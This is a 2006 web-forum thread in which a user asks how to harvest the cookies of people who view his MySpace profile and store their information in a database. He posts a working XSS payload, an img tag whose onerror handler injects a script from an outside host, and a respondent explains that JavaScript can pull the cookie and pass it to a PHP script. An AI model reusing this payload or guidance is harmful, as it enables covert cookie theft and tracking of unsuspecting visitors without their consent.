chasebadkids Posted September 29, 2006 Share Posted September 29, 2006 Okay guys so Ive got a javascript file that works on myspace and I want to figure out how to grab the viewers cookie and send its to a database and gets the users information that just viewed my profile and will output it for a user to view,how would I go about doing this?this is a working example[code]<img src="http://gif" z="<br />" onerror="var s=document.createElement('script');s.src='http://nightstarproductions.com/sqltrack.js';document.getElementsByTagName('head')[0].appendChild(s);"><br> </td>[/code]im basically looking on how i would setup something just like that. any and all help is appreciated Quote Link to comment Share on other sites More sharing options...
fenway Posted September 29, 2006 Share Posted September 29, 2006 That's going to be tricky with JS alone, since establishing an ODBC connection requires privileges... Quote Link to comment Share on other sites More sharing options...
chasebadkids Posted September 29, 2006 Author Share Posted September 29, 2006 what do you mean by that?How do you think they went about doing it, i know he said he uses mysql and the javascript file. and in that javascript file it grabs information from the site, and sends it to the mysql, i just dont know how to setup the mysql that would grab the information correctly Quote Link to comment Share on other sites More sharing options...
fenway Posted September 30, 2006 Share Posted September 30, 2006 Yes, but if you take a look at the JS, he's simply passing some parameters to a PHP script for processing. Quote Link to comment Share on other sites More sharing options...
chasebadkids Posted September 30, 2006 Author Share Posted September 30, 2006 so what exactly does that mean Quote Link to comment Share on other sites More sharing options...
fenway Posted September 30, 2006 Share Posted September 30, 2006 It means that you can use JS to pull the cookie, pass this info to a PHP script, and then do whatever you want to it. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.